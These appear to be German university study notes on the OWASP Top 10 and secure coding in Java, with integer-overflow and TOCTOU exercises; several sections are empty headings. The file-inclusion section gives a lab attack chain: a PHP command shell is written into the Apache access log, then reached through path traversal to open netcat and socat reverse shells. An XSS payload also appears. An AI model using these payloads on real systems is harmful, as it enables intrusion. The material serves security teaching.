  document.write(document.URL.substring(pos, document.URL.length));
</script>
<br />
Welcome to our system...

Normaler Aufruf:

http://site.com/welcome.html?name=John

Angriff:

http://site.com/welcome.html#name=John<script>
alert("XSS")</script>

Session Hijacking mit XSS

Ergebnis:

5.6.8 Gegenmaßnahmen

Script mit Positivliste gegen lokales XSS

<script>
    var pos=document.URL.indexOf("name=")+5;
    var name=document.URL.substring(pos, document.URL.length);
    if (name.match(/^[a-zA-Z0-9]$/)) {
        document.write(name);
    } else {
        window.alert("Security error");
    }
</script>

5.6.9 Cross-Site-Request-Forgery

Hauptursache - Browser sendet Berechtigungen in Form von Cookies mit - werden durch XSS begünstigt

Gegenmaßnahmen

5.7 A4: Unsicherer Entwurf

Der Entwurf berücksichtigt die Risiken für die zu entwickelnde Software nicht angemessen im Kontext des Geschäftsumfelds, der Anwendungsfalls, der Einsatzumgebung etc.

Konsequenz - Notwendige Sicherheitsmaßnahmen sind nicht im Entwurf enthalten und werden dementsprechend auch nicht implementiert

Anmerkungen - Sicherer Entwurf kann durch Fehler in der Implementierung trotzdem zu Schwachstellen führen - Ein unsicherer Entwurf lässt sich selbst durch eine perfekte Implementierung nicht reparieren

Angriffsszenarien

5.7.1 Gegenmaßnahmen

5.8 A5: Fehlerhafte Sicherheitskonfiguration

Konfigurationseinstellungen können zu Sicherheitslücken führen

5.8.1 Gegenmaßnahmen

5.8.2 XML External Entities (XXE)

5.9 A6: Nicht aktuelle Komponenten mit Schwachstellen

Anwendung enthält bekannte Schwachstellen, für die es vielleicht sogar schon vorbereitete Angriffe (Exploits) gibt. Schwachstellen kommen häufig durch die Verwendung von Drittkomponenten wie Frameworks oder Bibliotheken in die Anwendung.

5.10 A7: Fehlerhafte Identifizierung und Authentifizierung

Fehler bei der Bestätigung der Identität von Benutzern, der Authentisierung oder der Sitzungsverwaltung

5.10.1 Fehlerhaftes Session-Management

<session-config> 
    <cookie-config> 
        <secure>
             true 
        </secure> 
        <http-only>
             true 
        </http-only> 
    </cookie-config> 
    <session-timeout> 
        15 
    </session-timeout> 
    <tracking-mode> 
        COOKIE 
    </tracking-mode> 
</session-config>

5.11 A8: Fehlerhafte Software und Datenintegrität

Treffen von Annahmen e.g. über Software-Updates, kritische Daten oder CI/CD Pipelines ohne deren Gültigkeit zu überprüfen

5.11.1 Gegenmaßnahmen

5.11.2 Unsichere Deserialisierung

Anwendunge enthäkt serialisierte Objekte/Datenstrukturen e.g. als XML-, JSON- oder Binär-Dokumente und baut daraus durch Desieralisierung entsprechen Objekte/Datenstrukturen wieder neu im eigenen Kontext auf

5.12 A9: Fehlerhaftes Logging und Monitoring

Angriffe und Angriffsversuche werden nicht erkannt, wenn nicht alle Aktionen protokolliert werden. Wenn Angreifer evtl. Zugriff auf Log-Einträge haben, ist das Entwurfsmuster “Fehlerhafte Berechtigungsprüfung” zu erkennen.

5.12.1 Gegenmaßnahmen

5.13 A10: Server-Side Request Forgery (SSRF)

Eine Anwendung lädt eine Resource (über das Netzwerk) anhand einer URL, die vom Benutzer angegeben wird, ohne diese URL zu überprüfen

5.13.1 Gegenmaßnahmen

5.13.2 File Inclusion

<?php
    $file = $_GET['page']; //The page we wish to display
    $ext = substr($file, strrpos($file, '.') + 1); // get file extension
    if($ext != "php") { // allow only php files for inclusion
    unset($file);
    }
    include($file);
?>
nc 172.17.0.1 80 # Connect via netcat
<?php echo shell_exec($_GET['cmd']); ?> # Insert php into access.log

Dann lokal einen Listener starten:

Netcat:

nc -lnvp 4242 # Listener starten

Socat:

socat -dd TCP-LISTEN:4444 STDOUT

Im Browser, folgende URL verwenden:

Netcat:

localhost/vulnerabilities/fi/?cmd=nc%20-e%20/bin/sh%20172.17.0.1%204242&page=../../../../../../../../var/log/apache2/access.log

Socat:

localhost/vulnerabilities/fi/?cmd=socat%20TCP4:172.17.0.1:4444%20EXEC:/bin/bash&page=../../../../../../../../var/log/apache2/access.log

6 Aufgabe 5: Sichere Programmierung (secure coding) (10 Punkte)

6.1 Implementierung einer Datenstruktur in Java

Gegeben sei die folgende Definition einer Datenstruktur:

List<String> data = new ArrayList<String>(MAX);

Dabei ist MAX folgendermaßen definiert:

private static fional int MAX = 100;

Eine Methode mit der untenstehenden Signatur soll einen Wert an einer bestimmten Position in der Datenstruktur data eintragen :

void setElementToExtraPosition(int extra, String element);

Die Position soll berechnet werden aus der aktuellen Position (current) und dem als Methodenparameter angegebenen Versatz (extra). Sowohl current, als auch extra sollen vom Typ int sein.

Falls die neue Einfügeposition außerhalb des Wertebereichs der Indizes der Datenstruktur liegt, soll eine Ausnahme (IllegalArgumentException) ausgelöst werden.

Rufen Sie die Funktion setElementToExtraPosition() mit verschiedenen Werten auf.

Was geschieht, wenn Sie folgende Werte verwenden:

current = 50
extra = Integer.MAX_VALUE:

Was würde geschehen, wenn Sie ein Element auf Position current = 50 eintragen und anschließend ein Element auf der folgenden Position eintragen:

current + Integer.MIN_VALUE + Integer.MIN_VALUE
import java.math.BigInteger;
import java.util.ArrayList;
import java.util.List;

public class IntegerOverflow {

    private static final int MAX = 100; // Integer.MAX_VALUE + 1

    private int current;
    private List<String> data;

    public IntegerOverflow() {
        current = 0;
        data = new ArrayList<String>(MAX);
        for (int i = 0; i < MAX; i++) {
            data.add(i,  "");
        }
    }

    public static void main(String[] args) {
        IntegerOverflow io = new IntegerOverflow();
        io.process();
    }

    private void process() {
        System.out.println("Liste im Initialzustand:");
        System.out.println(data.toString());

        current = 50; // Integer.MAX_VALUE

        data.set(current, "Alter Wert");
        System.out.println("\nListe nach Setzen eines Wertes auf Position current = " + current);
        System.out.println(data.toString());

        int extra = Integer.MAX_VALUE + Math.abs(Integer.MIN_VALUE) + 1;
//      int extra = Math.abs(Integer.MIN_VALUE) + 1;
//      int extra = Integer.MAX_VALUE;
//      System.out.println("\nBerechnung des extra-Index durch Integer.MAX_VALUE + Math.abs(Integer.MIN_VALUE) + 1 = " + extra);
        System.out.println("\nextra-Index: = " + extra);

        setElementToExtraPosition(extra, "Neuer falscher Wert");
        System.out.println("\nListe nach Setzen eines Wertes auf Position current (" + current + ") + extra (" + extra + ") = " + (current + extra));
        System.out.println(data.toString());

//      setElementToExtraPositionMoreSecure(extra, "Neuer Wert More Secure");
//      System.out.println("\nListe nach Setzen eines Wertes auf Position current (" + current + ") + extra (" + extra + ") = " + (current + extra));
//      System.out.println(data.toString());
//
//      setElementToExtraPositionSecure(extra, "Neuer Wert Secure");
//      System.out.println("\nListe nach Setzen eines Wertes auf Position current (" + current + ") + extra (" + extra + ") = " + (current + extra));
//      System.out.println(data.toString());

    }

    private void setElementToExtraPosition(int extra, String element) {
//      System.out.println("current + extra = " + (current + extra));
        if (extra < 0 || current + extra > MAX) {
            throw new IllegalArgumentException();
        }
        data.set(current + extra, element);
    }

    private void setElementToExtraPositionMoreSecure(int extra, String element) {
        if (extra < 0 || current > MAX - extra) {
            throw new IllegalArgumentException();
        }
        data.set(current + extra, element);
    }

    private void setElementToExtraPositionSecure(int extra, String element) {
        BigInteger currentBig = BigInteger.valueOf(current);
        BigInteger maxBig = BigInteger.valueOf(MAX);
        BigInteger extraBig = BigInteger.valueOf(extra);
        if (extra < 0 || currentBig.add(extraBig).compareTo(maxBig) > 0) {
            throw new IllegalArgumentException();
        }
        data.set(current + extra, element);
    }
}

6.2 Secure Coding

Implementieren Sie die mit TODO markierten stellen

Das Vorhandensein eines AttackThreads gibt Ihnen einen Hinweis worauf Sie in Ihren Implementierungen achten sollten.

Was müssen Sie noch in Ihrer Implementierung beachten?

Person.java

package toctou_solution;

public class Person {

    private String username;
    private String passwort;
    private Double gewicht;

    public Person(String username, String passwort, Double gewicht) {
        super();
        this.username = username;
        this.passwort = passwort;
        this.gewicht = gewicht;
    }

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getPasswort() {
        return passwort;
    }

    public void setPasswort(String passwort) {
        this.passwort = passwort;
    }

    public Double getGewicht() {
        return gewicht;
    }

    public void setGewicht(Double gewicht) {
        this.gewicht = gewicht;
    }

    @Override
    public String toString() {
        return "Person [username=" + username + ", passwort=" + passwort + ", gewicht=" + gewicht + "]";
    }
}

TOCTOU.java

package toctou_solution;

import java.util.logging.Logger;

import toctou.exception.PersonException;

public class TOCTOU {

    private static Logger logger = Logger.getLogger(TOCTOU.class.getName());

    class AttackThread extends Thread {

        private Person person;

        public AttackThread(Person p) {
            this.person = p;
        }

        @Override
        public void run() {
            try {
                Thread.sleep(500);
            } catch (InterruptedException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
            person.setPasswort("pwnd");
            person.setGewicht(1000.0d);
        }
    }

    private boolean validatePerson(Person p) {
        // TODO: Rufen Sie die entsprechenden Methoden der Klasse Validator auf.
        logger.info("Validiere Person : " + p);
        Validator v = Validator.getInstance();
        if (!v.checkValidString(p.getUsername())) {
            return false;
        }
        if (!v.checkValidPassword(p.getPasswort())) {
            return false;
        }
        if (!v.checkValidDouble(p.getGewicht())) {
            return false;
        }
        return true;
    }

    public void speicherePerson(Person p) throws PersonException {
        // TODO: Validieren Sie das Argument p durch Aufruf der Methode validatePerson()
        // Remove the following line of code to demonstrate a successful attack.
        Person person = new Person(p.getUsername(), p.getPasswort(), p.getGewicht());
        if (!validatePerson(person)) {
            throw new PersonException("Person enthält ungültige Werte: " + person);
        }
        try {
            Thread.sleep(3000);
        } catch (InterruptedException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
        logger.info("Person " + person + " erfolgreich gespeichert.");
    }

    public static void main(String[] args) {
        TOCTOU t = new TOCTOU();
        Person person = new Person("sheldon", "abc123xyz!", 73.0);
        AttackThread at = t.new AttackThread(person);
        at.start();
        try {
            t.speicherePerson(person);
        } catch (PersonException e) {
            // person.setUsername("xxxxxxxxxxxxx");
            // person.setUsername(null);
            // person.setPasswort("xxxxxxxxxxxxx");
            // person.setPasswort(null);
            // person.setGewicht(0.0);
            // person = null;
            logger.warning(e.getMessage());
        }

        try {
            at.join();
        } catch (InterruptedException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
        System.out.println("Inhalt von Person am Ende des Programms: " + person);
    }
}

Validator.java

package toctou_solution;

public class Validator {
    private static Validator validator = new Validator();

    public static Validator getInstance() {
        return validator;
    }

    public boolean checkValidString(String s) {
        // TODO: Implementieren Sie die Prüfung von Zeichenketten so, dass
        //       1. null-Strings und leere Zeichenketten NICHT erlaubt sind
        //       2. nur Klein- und Großbuchstaben erlaubt sind.
        //       Zeichenketten dürfen eine beliebige Länge haben.
        if (s == null) {
            return false;
        }
        String pattern = "[a-zA-Z]+";
        return s.matches(pattern);
    }

    public boolean checkValidPassword(String s) {
        // TODO: Implementieren Sie die Prüfung von Passwörtern so, dass
        //       1. null-Strings und leere Zeichenketten NICHT erlaubt sind
        //       2. ein Passwort mindestens 10 Zeichen haben muss.
        if (s == null || s.trim().isEmpty()) {
            return false;
        }
        if (s.length() < 10) {
            return false;
        }
        return true;
    }

    public boolean checkValidDouble(Double d) {
        // TODO: Implementieren Sie die Prüfung von Gewichtsangaben so, dass das Gewicht zwischen 0.0 und 300.0 Kg liegen muss.
        if (d == null) {
            return false;
        }
        if (d < 0.0d || d > 300.0d) {
            return false;
        }
        return true;
    }
}

TOOD: Add Interpretation

7 Aufgabe 6: Authentisierung/Authentifizierung (3+2 = 5 Punkte)

7.1 Grundlagen

Authentisierung

Authentifizierung

AuthN

Autorisierung

Authentisierungsmethoden

Starke Authentisierung

7.2 OAuth2

Definition

Rollen

Rollen

Standardprotokoll

Standardprotokoll

Kategorien

Authorization Code Grant + PKCE Flow

Authorization Code Grant

Authorization Code Grant Part 2

Parameters

Workflow, um einen abgelaufenen Token zu refreshen

Refresh

Erzeugen und Verwalten von Refresh Tokens Erzeugen von Refresh Token (Schritte 1, 2)